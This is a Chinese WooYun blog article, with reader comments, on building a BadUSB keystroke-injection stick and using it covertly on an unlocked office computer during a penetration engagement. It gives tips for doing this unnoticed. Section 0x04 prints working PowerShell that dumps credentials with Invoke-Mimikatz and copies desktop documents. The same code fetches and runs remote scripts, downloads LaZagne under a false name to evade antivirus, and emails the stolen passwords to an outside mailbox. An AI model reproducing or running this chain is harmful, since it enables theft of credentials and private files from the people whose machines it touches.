BadUsb----结合实例谈此类外设的风险

0x00 前言


大概是从今年年初的时候关注了这一块的话题,3月份买的TOSHIBA的U盘进行的测试,期间一直在完善利用代码,期间收到了一些大牛的启发,感谢Psychson这个项目的开源,DM_在PowerShell方面的文章,以及参考过三好学生,jeary等人的配置,虽然并没有交流,但是读了他们的帖子后实践完善了整个利用过程。这是BadUsb的GitHub地址,以及原作者的操作视频(YouTube俄语翻译真心栏...自备梯子)

我在某乙方工作,一次去某省级运营商渗透前的交流时,因为来的早会议室还没有腾出来,在安全室休息时,我所坐的位置的人电脑没有锁屏,但是旁边都是安全室的人,这时候我拿出我的BadUsb,默默的去桌子底下系起了鞋带...

0x01 BadUsb制作


打包下载,密码: ixgw,包括量产工具,不包含JRE,win7_X64环境的编译好了可以直接用,项目文件夹下有command.txt可以参考,如果你是别的系统版本,请使用vs2012重新编译工具。

PS:建议就刷我的final.txt修改脚本地址即可,这样不会存在需要重新刷短接芯片的情况,所有操作只需要修改服务器端的脚本即可。如果你已经刷坏,请先在不插电脑时短接住芯片上圆点斜对面的最外两个针脚,然后启动MPALL_F2_v363_0D.exe,用QC.ini,插到usb2.0口,Update几次没有的话说明你短接手法不好,ok了点start刷一下就恢复U盘了,再重头来

0x02 BadUsb效果


目前的效果是只需要5秒钟之内,可过某pc装机量5亿的杀软,电脑闪一下屏幕就可以拔下U盘了,剩下的交给后台的PowerShell进程,实现的功能有获取电脑的基本信息,Invoke-mimikatz抓密码,桌面截屏,集成LaZagne获取系统存储的密码,递归获取桌面所有txt doc类 xls类文件,最终打成压缩包,可通过邮箱或者ftp发送,实战中建议使用ftp发送 ps:因为有人桌面的文档打包出来近GB...

看我拿本机测试能得到什么

视频密码 HappyTime

badusb1

badusb2

tree

doc

screen

info

Pass1

Pass2

0x03 BadUsb实战


基本上从视频来看 算上装驱动大概需要10秒时间,实际执行Payload大概是5秒,所以只需要给你5秒,5秒你到底能做到什么?

友情提醒

  1. 系鞋带动作要自然
  2. 速度要快
  3. 有小伙伴掩护那是再好不过的

看看我们能得到什么

doc2

secret

这个数据量有多恐怖,这只是一个安全室普通员工电脑桌面的信息,在后来对这些信息详细分析后发现了堡垒机跳板机的登录密码,以及堡垒机最高权限的账户,至此,该省所有设备都在控制之中,包括短彩信,智能网,长途网,话务网,以及基础设施,都收入囊中。

login

som

som2

email

抱歉因为客户原因,无法透露过多细节,读者可当是概念证明,毕竟威胁真实存在。

0x04 BadUsb-Exp


再次感谢Invoke-Mimikatz作者,感谢DM_,代码为拼接修改而来,照惯例留坑,防伸手党,勿怪 首先,仅通过BadUsb下载一个powershell脚本,其中在调用IEX继续下载新的PowerShell,这样设计是为了先拿到一份LaZagne获取的密码,因为有些人的桌面文档表格太大了,需要等待很久,避免夜长梦多所为。

...
...#Invoke-Mimikatz
$folderDateTime = (get-date).ToString('d-M-y HHmmss')
$userDir = (Get-ChildItem env:\userprofile).value + '\Report ' + $folderDateTime
$fileSaveDir = New-Item  ($userDir) -ItemType Directory
Invoke-Mimikatz -Dumpcreds >> $fileSaveDir'/DumpPass.txt'
$copyDir = (Get-ChildItem env:\userprofile).value + '\Desktop'
$copyToDir = New-Item $fileSaveDir'\Doc' -ItemType Directory
Dir -filter *.txt -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.doc -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.docx -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.xls -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.xlsx -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/GetPass.ps1');

GetPass.ps1

(new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/GetPass.rar','D:\Get.exe');
(new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/Command.rar','D:\Command.bat');
D:\Command.bat;
$SMTPServer = 'smtp.qq.com'
$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPInfo.EnableSsl = $true
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('username', 'password');
$ReportEmail = New-Object System.Net.Mail.MailMessage
$ReportEmail.From = 'email-address'
$ReportEmail.To.Add('To-address')
$ReportEmail.Subject = 'GetPass'
$ReportEmail.Body = 'Passwords In Applications' 
$ReportEmail.Attachments.Add('D:\GetPass.txt')
$SMTPInfo.Send($ReportEmail)
remove-item 'D:\GetPass.txt'
remove-item 'D:\Get.exe'

其中的GetPass.rar实为LaZagne,直接下载exe会被大部分杀软拦截,所以使用重命名功能,之所以调用了一个批处理,是因为LaZagne的获取Windows密码模块(非sysadmin模块)注入Lsass进程是会被杀软拦截,所以(D:\Get.exe sysadmin & D:\Get.exe svn & D:\Get.exe database & D:\Get.exe browsers & D:\Get.exe wifi & D:\Get.exe mails) > D:\GetPass.txt 笨方法绕过杀软。

好现在是揭晓坑的时候了- -,破坏了这个脚本删除生成文件的地方~你们插完别人的电脑,这些临时文件就会一直在那里躺着~包括这些密码压缩包喔~

0x05 Sec-Usb?


既然明白了风险存在,如何防护呢?

Know it,then protect it.

首先看一种暴力的 德国LINDY USB电脑锁 电子信息资料防护加密防盗防窃取 直接锁死u口,可能适合跳板机,开发机使用,但是个人机器不现实。

再有就是类似sec-usb这种充电线了,断掉usb传输的两个data线,只保留power,这样就只能充电了,某厂商有这种商品,很贵呦~

链接: http://pan.baidu.com/s/1c09E7PQ 密码: 9b6p

0xFF 版权声明


本文独家首发于乌云知识库(drops.wooyun.org)。本文并没有对任何单位和个人授权转载。如本文被转载,一定是属于未经授权转载,属于严重的侵犯知识产权,本单位将追究法律责任。

©乌云知识库版权所有 未经许可 禁止转载


30
zanyangtao 2016-05-17 17:43:39

求链接,[email protected],多谢楼主了。

30
张飞online 2016-05-13 20:09:46

大神打包下载,密码: ixgw 这个工具失效了 能不能补发一下呢谢谢

30
豆浆小开 2016-04-01 16:44:28

@HackPanda 大神打包下载,密码: ixgw 这个工具失效了 能不能补发一下呢谢谢

30
memorytimecity 2016-03-27 18:15:00

@hackpanda

30
memorytimecity 2016-03-27 10:58:17

[email protected]

30
继续沉默 2016-03-22 09:51:56

@badu 邮件发送源码好像有问题,我换了个好了

30
HackPanda 2016-03-03 22:08:59

@badu 这是坑 望自行解决

30
HackPanda 2016-03-03 22:08:26

@echotxl hid不需要驱动 串口需要

30
badu 2016-02-10 13:30:25

D盘会一直有Command.bat就这一个,其他的出来过都消失拉。。。

30
badu 2016-02-10 13:27:40

改了main跟GetPass里的邮箱了,怎么会是windows里会出啦report.zip,不过会消失,有大侠求救小弟,感激不尽,谢谢 。。。。。。

30
badu 2016-02-10 13:23:58

可以在c盘看到report.zip .但邮件接不了是什么问题a?

main.ps1问题吗?怎么邮件里什么也没有? 邮件是qq,gmail,hotmail。都用过 。????

30
echotxl 2016-01-21 22:51:50

驱动兼容性不好啊,本机可以用但是别的电脑就不可以

30
usb 2016-01-17 23:10:31

@HackPanda 你好,打包下载,密码: ixgw 的链接已经失效,能否重新发一下呢? 谢谢!

30
lunix 2015-10-12 22:18:27

淘宝有一家修u盘的,故意把ps2303主控的u盘喊240元,,,物以稀为贵了

30
HackPanda 2015-10-12 16:39:38

@ss 链接请见0x05部分

30
HackPanda 2015-10-12 16:39:21

今天新到版本 黑白均为ps2307 背面序列号144614YA802TAPBC2S 7月底购买的3个型号为ps2303序列号为1432148A345JAPAA2S 目测现在这个链接的u盘已经不是2303了,给大家道个歉,那个量产的配置文件均按照Toshiba这款u盘准备- -因为距离最后一次做这个u盘已经有2个月了,不知道货源的变化。。抱歉。。可能需要自己去寻找可用的u盘了,作者的git上有一些推荐可供参考

30
ss 2015-10-12 16:00:49

亲,您提供的链接出错了,能不能发我:[email protected]!@HackPanda

30
HackPanda 2015-10-12 07:48:30

首先不插电脑 先短接圆点斜对面的两个脚 然后插2.0口 mpall就有了 如果不是Toshiba的那个u盘 需要自己去网上找bin和配置文件 建议去量产网找找看

30
HackPanda 2015-10-11 13:13:56

0x05那里有链接 我定的新的u盘已经到单位了 明天上班了看看 7月底最后一次买的ok

30
lunix 2015-10-10 22:03:35

求百度链接呢 [email protected]

30
ely 2015-10-10 19:42:50

@weizi 那你试过这个型号的可以用嘛?我测试可都是失败的

30
HackPanda 2015-10-10 10:35:26

我从上面地址购买了2个白的测试下

30
HackPanda 2015-10-10 10:15:33

@ely  主控型号: PS2251-03(PS2303) - F/W 02.08.53 [2014-01-02]
闪存识别码:  983AA892 - Toshiba(东芝) TC58NVG7T2JTA00 [TLC-8K]
最后一次购买时间 7月29号

30
HackPanda 2015-10-09 20:30:05

@ely 我今天买了一个看看 还没到

30
HackPanda 2015-10-09 17:16:01

@蓝天 0x05

30
HackPanda 2015-10-09 17:15:31

@Martin 一代改价之前

30
Martin 2015-10-09 15:10:47

@HackPanda 求帮我买个烧鹅

30
蓝天 2015-10-09 12:58:15

亲失效了 链接

30
HackPanda 2015-10-09 09:19:08

@222 烧鹅嘛。。我只能说我买的价格不到100,具体多少不方便,不然radiowar就知道我住址了- -

30
HackPanda 2015-10-09 09:18:11

@ely 抱歉我看下我的,因为这个链接的u盘我们最后一次买了2个是在月份的时候,那时还可以用

30
HackPanda 2015-10-08 13:13:57

@呵呵 见0x05

30
HackPanda 2015-10-08 13:13:23

@222 不能了,这个是通过网络发送,当然也可以listen一个特点名称的u盘插的时候copy过去,需要u盘功能可以移步烧鹅,,但是他没有单独的io芯片 所以很慢,大概速度500k

30
HackPanda 2015-10-08 13:12:02

@asdww 那这个就抱歉了。。因为这个我和同事分三次买了一共5个都能用。。

30
HackPanda 2015-10-08 12:15:51

@asdww 确定?黑色的那个16g 带锚点的链接

30
HackPanda 2015-10-08 10:47:07

@Martin 烧鹅需要一个专门i/o的芯片。。

30
小飞 2015-10-08 10:17:23

为什么我一直觉得badusb指的是和驱动有关的malware安装
个人认为这个输入HID攻击吧

30
Martin 2015-10-08 09:57:01

@HackPanda 烧鹅二代他不卖。。。只卖一代。。。

30
Martin 2015-10-08 09:55:09

国外那个视频http://v.youku.com/v_show/id_XMTM0NzEzMTQwMA==.html密码Martin不过没有翻译

30
HackPanda 2015-10-08 09:10:13

@高小厨 一看就是刚上班- -

30
HackPanda 2015-10-08 09:08:53

@xsser 我刚买了烧鹅了- -这个感觉实战性更棒,整体速度超过BadUsb

30
HackPanda 2015-10-08 09:07:55

不能iframe插视频吗- - http://v.youku.com/v_show/id_XMTM0OTA3MzgwOA==.html 视频密码HappyTime

30
高小厨 2015-10-08 09:05:03

哈哈,愿意出21wb购买成品

30
xsser 2015-10-07 23:08:59

愿意出20wb购买成品

30
HackPanda 2015-10-07 21:56:53

@anymous 某厂28到48

30
HackPanda 2015-10-07 21:50:44

谢谢审核给补链接…刚到家…路上真心堵还下着小雨

30
mtfly 2015-10-07 19:27:30

好屌

30
小飞 2015-10-07 15:23:03

东芝速闪这个u盘要火

30
′ 雨。 2015-10-07 15:06:15

可过某pc装机量5亿的杀软

30
HackPanda 2015-10-07 14:06:06

@lcx 抱歉…回程的路上 回去补

30
JasonHu 0000-00-00 00:00:00

我hello world做成功了 用的2303芯片的金士顿dt100
现在竟然没有办法刷回去了,我dump了之前的fireware
但是刷不进 去 看了网上好多人都说要启动bootmode
bootmode的两种方法 软件的我试过和刷固件报一样的错
硬件的用刀片连接那个2,3接口我怎么做都不行。
求问大神在过程中有 没有碰到这种问题?

30
weizi 0000-00-00 00:00:00

@ely 不能用的

30
7k 0000-00-00 00:00:00

你成功了?买的金士顿的dt110?什么叫没刷回去?@JasonHu

感谢知乎授权页面模版